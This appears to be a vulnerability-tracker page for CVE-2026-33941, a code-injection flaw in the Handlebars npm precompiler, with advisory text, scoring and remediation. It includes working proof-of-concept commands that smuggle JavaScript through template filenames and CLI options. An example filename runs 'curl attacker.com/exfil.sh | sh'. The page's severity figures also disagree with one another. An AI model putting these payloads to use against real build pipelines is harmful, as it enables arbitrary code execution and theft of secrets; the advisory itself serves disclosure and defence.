Skip to main content

Node.js EUVDEUVD-2026-16862

| CVE-2026-33941 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-03-27 https://github.com/handlebars-lang/handlebars.js GHSA-xjpj-3mr7-gcpf
8.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious template filename
  2. Exploit
    Supply as CLI argument to handlebars precompiler
  3. Execution
    Inject JavaScript into generated bundle
  4. Impact
    Execute arbitrary code when bundle loads

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must control template filenames or CLI arguments passed to Handlebars CLI precompiler (bin/handlebars). Requires local access with low privilege and victim interaction—the generated JavaScript bundle must be loaded in Node.js or browser. Affects Handlebars precompiler builds with unsanitized user-controlled input in template names or options.

Impact

Real-world risk is moderate despite the 8.3 CVSS score. The CVSS vector (AV:L/AC:L/PR:L/UI:R/S:C) indicates local attack vector requiring low privileges and user interaction, significantly constraining exploitation scenarios. Attack feasibility depends on adversaries controlling either template filenames in repositories consumed by build pipelines or CLI arguments passed to the precompiler in automated systems. The changed scope (S:C) reflects that injected code executes in a different security context than the precompiler itself. Public proof-of-concept code exists with four working vectors, lowering the skill barrier for exploitation. However, the requirement for local access and user interaction (typically a developer or CI/CD system running the precompiler) limits attack surface compared to remote network-exploitable vulnerabilities. Primary risk scenarios involve supply chain attacks through malicious template repositories, compromised CI/CD pipelines where attackers can modify build scripts, or developer workstations with malicious template files. Organizations using Handlebars precompilation in automated build processes without input validation face elevated risk.

Exploit ScenarioDerived

An attacker with access to a shared code repository introduces a malicious template file named with embedded JavaScript payload, such as 'template"] = (function(){require("child_process").exec("curl attacker.com/exfil.sh | sh")})(); //.handlebars'. When the organization's CI/CD pipeline runs the Handlebars precompiler during the build process, it processes the malicious filename and generates a JavaScript bundle containing the injected code. The injected payload executes when the build artifact is loaded, allowing the attacker to execute arbitrary commands in the build environment, potentially exfiltrating secrets, modifying build outputs, or pivoting to production systems. Publicly available exploit code exists demonstrating filesystem manipulation and arbitrary code execution via all four injection vectors.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 27, 2026

The Handlebars npm package precompiler (bin/handlebars) allows arbitrary JavaScript injection through unsanitized string concatenation in four distinct code paths: template filenames, namespace option (-n), CommonJS path option (-c), and AMD path option (-h). Attackers who can control template filenames or CLI arguments can inject code that executes when the generated JavaScript bundle is loaded in Node.js or browser environments. Publicly available exploit code exists with multiple proof-of-concept vectors demonstrated, including file system manipulation via require('fs'). CVSS 8.3 reflects local attack vector requiring low privileges and user interaction, with changed scope allowing high confidentiality, integrity, and availability impact.

RemediationAI

Upgrade the handlebars npm package to version 4.7.9 or later, as confirmed in the GitHub release at https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9. The fix commit 68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2 addresses the string interpolation vulnerabilities by implementing proper escaping. Until patching is possible, implement input validation to reject template filenames and CLI option values containing JavaScript-significant characters (quotes, semicolons, parentheses). Restrict namespace, CommonJS path, and AMD path options to fixed trusted values defined in configuration files rather than accepting arbitrary command-line arguments. Execute the precompiler in sandboxed containers with restricted filesystem access and no network connectivity to limit impact of successful exploitation. Audit template repositories and CI/CD pipeline configurations to ensure template filenames follow strict naming conventions. See the official GitHub security advisory at https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf for complete remediation guidance.

Affected VersionsENISA

handlebars.js 4.0.0, < 4.7.9

Affected Packages

npm handlebars fix: 4.7.9
euvd handlebars_js_4_0_0 fix: 4.7.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Handlebars is a widely-deployed templating engine for JavaScript (cpe:2.3:a:*:handlebars:*:*:*:*:*:node.js:*:*). The vulnerability resides in lib/precompiler.js, which generates JavaScript source code by directly interpolating user-controlled values into output strings without escaping special characters. This represents CWE-79 (Improper Neutralization of Input During Web Page Generation), though in this context it manifests as code injection rather than traditional cross-site scripting. The precompiler's string concatenation approach for building JavaScript output creates four distinct injection surfaces: template.name derived from filesystem paths, opts.namespace for namespace configuration, opts.commonjs for CommonJS module paths, and opts.handlebarPath for AMD module paths. Each allows breaking out of string literals using characters like quotes, semicolons, and parentheses to inject arbitrary JavaScript statements that execute during bundle loading.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.2 HIGH
AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Red Hat 8.2 HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Mar 27, 2026 - 18:30 nvd
Patch available
CVE Published
Mar 27, 2026 - 18:22 nvd
HIGH 8.2

DescriptionNVD

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings - template file names and several CLI options - directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

javascript
// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

javascript
// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

javascript
// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

javascript
// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

bash
mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js
node -e 'require("./out.js")'
# Executes injected code, creates ./pwned

Namespace vector:

bash
node bin/handlebars templates -o out.js \
  -n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'

CommonJS vector:

bash
node bin/handlebars templates -o out.js \
  -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'

AMD vector:

bash
node bin/handlebars templates -o out.js -a \
  -h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'

Workarounds

  • Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.).
  • Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
  • Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
  • Audit template filenames in any repository or package that is consumed by an automated build pipeline.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 npm packages depend on handlebars (1 direct, 2 indirect)

Ecosystem-wide dependent count for version 4.0.0.

Executive ViewAI

Why It Matters

The Handlebars npm package precompiler contains a critical code injection vulnerability that allows attackers to execute arbitrary JavaScript when template bundles are generated and loaded. Organizations using Handlebars in build pipelines-particularly those accepting user-controlled template filenames or CLI arguments-face risk of supply-chain compromise, data exfiltration, and system manipulation through injected malicious code in their compiled artifacts.

Business Impact: High
Compensating Controls

Apply vendor patch. If patched version is unavailable: disable user-supplied template filenames and CLI arguments in build pipelines; validate all template filenames against a whitelist before precompilation; run precompilation in sandboxed, network-isolated build environments with read-only filesystem access; implement static analysis scanning of generated JavaScript bundles for suspicious require() or eval() patterns before deployment; review build logs for unexpected file system access or network connections during precompilation.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy